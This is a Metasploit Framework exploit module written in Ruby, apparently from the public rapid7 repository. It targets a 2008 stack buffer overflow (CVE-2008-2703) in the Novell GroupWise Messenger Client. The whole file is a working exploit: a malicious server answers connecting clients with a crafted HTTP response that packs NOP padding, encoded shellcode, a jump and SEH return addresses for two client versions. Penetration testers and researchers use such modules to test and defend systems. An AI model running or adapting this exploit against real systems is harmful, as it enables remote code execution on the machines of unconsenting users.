metasploit-framework/modules/exploits/windows/novell/groupwisemessenger_client.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
super(update_info(info,
'Name' => 'Novell GroupWise Messenger Client Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.
By sending a specially crafted HTTP response, an attacker may be able to execute
arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-2703' ],
[ 'OSVDB', '46041' ],
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[ 'BID', '29602' ],
[ 'URL', 'http://www.infobyte.com.ar/adv/ISR-17.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AllowWin32SEH' => true
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},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'DisableNops' => 'True',
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Novell GroupWise Messenger 2.0 Client', { 'Ret' => 0x502de115 } ],
[ 'Novell GroupWise Messenger 1.0 Client', { 'Ret' => 0x1000e105 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 2 2008',
'DefaultTarget' => 0))
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register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 8300 ])
])
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end
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def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
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client.get_once
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date = Time.gm(2008,nil,nil,nil,nil,nil)
rand_1 = rand_text_english(5)
rand_2 = rand_text_english(4)
rand_3 = rand_text_english(rand(8) + 1)
rand_4 = rand_text_alpha_upper(8)
rand_5 = rand_text_english(3)
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res = "HTTP/1.0 200\r\n"
res << "Date: #{date}\r\n"
res << "Pragma: no-cache\r\n"
res << "Cache-Control: no-cache\r\n\r\n"
res << "\n\0\20\0\0\0nnmFileTransfer\0\2\0\0\x000\0\n\0\t\0\0\0"
res << "nnmQuery\0\2\0\0\x001\0\n\0\13\0\0\0nnmArchive"
res << "\0\2\0\0\x001\0\n\0\24\0\0\0nnmPasswordRemember"
res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmMaxContacts"
res << "\0\4\0\0\x00150\0\n\0\16\0\0\0nnmMaxFolders"
res << "\0\3\0\0\x0050\0\n\0\r\0\0\0nnmBroadcast"
res << "\0\2\0\0\x001\0\n\0\23\0\0\0nnmPersonalHistory"
res << "\0\2\0\0\x001\0\n\0\r\0\0\0nnmPrintSave"
res << "\0\2\0\0\x001\0\n\0\17\0\0\0nnmChatService"
res << "\0\2\0\0\x001\0\n\0\3\0\0\0CN\0\a\0\0\0ISR000"
res << "\0\n\0\b\0\0\0Surname\0\6\0\0\0#{rand_1}\0\n\0\n\0\0\0"
res << "Full Name\0\20\0\0\0Client Name \0\n\0\13\0\0\0Given Name"
res << "\0\n\0\0\0Client \0\n\0\r\0\0\0nnmLastLogin\0\13\0\0\x001200112090\0\t\0\30\0\0\0"
res << "NM_A_FA_CLIENT_SETTINGS\0\1\0\0\0\n\0\21\0\0\0Novell.AskToSave"
res << "\0\2\0\0\x001\0\t\0\e\0\0\0NM_A_FA_INFO_DISPLAY_ARRAY"
res << "\0\1\0\0\0\n\0\27\0\0\0Internet EMail Address\0\26\0\0\0#{rand_1}\@#{rand_4}.#{rand_5}.xx"
res << "\0\b\0\16\0\0\0NM_A_UD_BUILD\0\a\0\0\0\n\0\13\0\0\0NM_A_SZ_DN\x001\0\0\0"
res << "CN=ISR000,OU=IT,OU=ISR_,OU=BA,OU=AR,O=#{rand_4}XX"
res << "\0\t\0\24\0\0\0NM_A_FA_AU_SETTINGS\0\1\0\0\0\n\0\22\0\0\0"
res << "nnmClientDownload\0\2\0\0\x000\0\b\0\22\0\0\0NM_A_UD_KEEPALIVE"
res << "\0\n\0\0\0\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"
res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"
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res << "HTTP/1.0 200\r\n"
res << "Date: #{date}\r\n"
res << "Pragma: no-cache\r\n"
res << "Cache-Control: no-cache\r\n\r\n"
res << "\n\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0\n\0\27\0\0\0"
res << "NM_A_SZ_TRANSACTION_ID\0\2\0\0\x00#{rand_2}\0\0"
res << make_nops(805 - payload.encoded.length) + payload.encoded
res << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
res << [0xe9, -800].pack('CV') + rand_text_english(5000 - payload.encoded.length)
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print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...")
client.put(res)
handler(client)
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select(nil,nil,nil,2)
service.close_client(client)
end
end